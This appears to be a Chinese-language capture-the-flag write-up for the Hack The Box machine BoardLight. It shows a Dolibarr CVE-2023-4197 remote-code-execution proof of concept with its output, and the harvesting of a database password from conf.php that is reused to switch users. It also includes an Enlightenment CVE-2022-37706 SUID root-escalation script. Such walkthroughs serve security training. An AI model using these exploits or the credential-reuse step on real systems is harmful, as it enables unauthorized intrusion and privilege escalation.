$ python3 exppoc.py http://crm.board.htb/ admin admin whoami /home/mane/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.7) or chardet (5.1.0)/charset_normalizer (2.0.9) doesn't match a supported version! warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported " ===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) ===== [+] Attempting to authenticate... [+] Authenticated successfully! [+] Attempting to create a website... [+] Created website name: "58e2fc79ff764e2b8081aa2615e20b61"! [+] Attempting to create a web page... [+] Created web page name: "e4f0553cd2bf4cc3ac3bd6965d9c1501"! [+] Attempting to modify the web page... [+] Web page modified successfully! [+] Triggering RCE now via: http://crm.board.htb/public/website/index.php?website=58e2fc79ff764e2b8081aa2615e20b61&pageref=e4f0553cd2bf4cc3ac3bd6965d9c1501 [+] RCE successful! Output of command: <? echo system('whoami'); ?>
$ python3 exppoc.py http://crm.board.htb/ admin admin whoami /home/mane/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.7) or chardet (5.1.0)/charset_normalizer (2.0.9) doesn't match a supported version! warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported " ===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) ===== [+] Attempting to authenticate... [+] Authenticated successfully! [+] Attempting to create a website... [+] Created website name: "228265ffefe7419dba42c25556a57248"! [+] Attempting to create a web page... [+] Created web page name: "87e2f2e3da704faf960ca982973013a5"! [+] Attempting to modify the web page... [+] Web page modified successfully! [+] Triggering RCE now via: http://crm.board.htb/public/website/index.php?website=228265ffefe7419dba42c25556a57248&pageref=87e2f2e3da704faf960ca982973013a5 [+] RCE successful! Output of command: www-data www-data
結果成功的運行，於是得到了RCE。
0x3 shell as www-data
拿到了shell，不如看一下配置文件，
1 2 3 4 5 6 7 8 9
www-data@boardlight:~$ ls html www-data@boardlight:~$ cd html/ www-data@boardlight:~/html$ ls board.htb crm.board.htb www-data@boardlight:~/html$ cd crm.board.htb/ www-data@boardlight:~/html/crm.board.htb$ ls COPYING COPYRIGHT ChangeLog DCO README-FR.md README.md SECURITY.md composer.json.disabled documents htdocs nightwatch.conf.js phpstan.neon robots.txt scripts www-data@boardlight:~/html/crm.board.htb$
隨便網上搜索一下配置文件在哪裏，
The Dolibarr configuration file is conf/conf.php. It is created by the automatic install process. This file contains the system setup. The setup of the applications you plan to use are defined into the setup area of each module, into the application itself (Menu Home - Setup - Modules).
# 然後查看這個配置文件 www-data@boardlight:~/html/crm.board.htb$ cat ./htdocs/conf/conf.php <?php // // File generated by Dolibarr installer 17.0.0 on May 13, 2024 // // Take a look at conf.php.example file for an example of conf.php file // and explanations for all possibles parameters. // $dolibarr_main_url_root='http://crm.board.htb'; $dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs'; $dolibarr_main_url_root_alt='/custom'; $dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom'; $dolibarr_main_data_root='/var/www/html/crm.board.htb/documents'; $dolibarr_main_db_host='localhost'; $dolibarr_main_db_port='3306'; $dolibarr_main_db_name='dolibarr'; $dolibarr_main_db_prefix='llx_'; $dolibarr_main_db_user='dolibarrowner'; $dolibarr_main_db_pass='serverfun2$2023!!'; $dolibarr_main_db_type='mysqli'; $dolibarr_main_db_character_set='utf8'; $dolibarr_main_db_collation='utf8_unicode_ci'; // Authentication settings $dolibarr_main_authentication='dolibarr';
www-data@boardlight:~/html/crm.board.htb$ su larissa Password: larissa@boardlight:/var/www/html/crm.board.htb$ id uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm)
#!/usr/bin/bash # Idea by MaherAzzouz # Development by nu11secur1ty # Power by @manesec
echo"CVE-2022-37706" echo"[*] Trying to find the vulnerable SUID file..." echo"[*] This may take few seconds..." echo"[*] Mod by @manesec."
# The actual problem file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys" if [[ -z ${file} ]] then echo"[-] Couldn't find the vulnerable SUID file..." echo"[*] Enlightenment should be installed on your system." exit 1 fi
echo"[+] Vulnerable SUID binary found!" echo"[+] Trying to pop a root shell!" mkdir -p /tmp/net mkdir -p "/dev/../tmp/;/tmp/exploit"
echo"/bin/sh" > /tmp/exploit chmod a+x /tmp/exploit echo"[+] Welcome to the rabbit hole :)"
root@boardlight:/etc/audit/rules.d# cat audit.rules | grep execve -a always,exit -F arch=b64 -S execve -F euid=33 -k detect_execve_www ### When combined with "fexecve" can be used to stealthily run binaries in memory without touching disk -a always,exit -F arch=b64 -F euid=0 -F auid>=1000 -F auid!=-1 -S execve -k rootcmd
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程，這對初學者來説是很友好的。 （建議先完成 INTRODUCTION TO ACADEMY）
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
